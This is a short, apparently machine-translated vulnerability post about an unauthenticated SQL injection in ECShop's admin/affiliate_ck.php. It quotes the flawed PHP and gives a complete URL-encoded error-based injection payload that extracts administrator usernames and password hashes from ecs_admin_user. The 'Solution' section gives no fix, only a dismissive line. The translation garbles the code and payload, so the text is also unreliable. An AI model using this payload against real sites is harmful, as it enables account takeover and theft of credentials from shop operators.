Weak ecshop background permissions SQL Injection

Weak background permission SQL Injection PS: by default, if the installation test data is selected, there will be two more accounts. This article starts with these two accounts again! Vulnerability occurred in admin/affiliate_ck.php line 29

If ($ _ REQUEST ['ac'] = 'LIST') {$ logdb = get_affiliate_ck ();....}

 

There is no permission to check and move to the get_affiliate_ck method. Row 224 is a surprise.

If (isset ($ _ GET ['auid']) {$ sqladd = 'AND a. user_id ='. $ _ GET ['auid'];}

 

Unfiltered INT injection... I won't talk much about the code.

Http://www.xxx.com/admin/affiliate_ck.php? Act = list & auid = 121% 20or % 201 = 1% 20 union % 20 select % 201% 20and % 20% 28 select % 201% 20 from % 28 select % 20 count % 28 * % 29, concat % 28% 28 Select % 20 concat % 280x5b, user_name, 0x3a, password, 0x5d % 29% 20 FROM % 20ecs_admin_user % 20 limit %, 1% 29, floor % 28 rand % 280% 29*2% 29% 29x % 20 from % 20information_schema.tables % 20 group % 20by % 20x % 29a % 29% 20% 23

The password is displayed! Solution:

This is too simple, you know!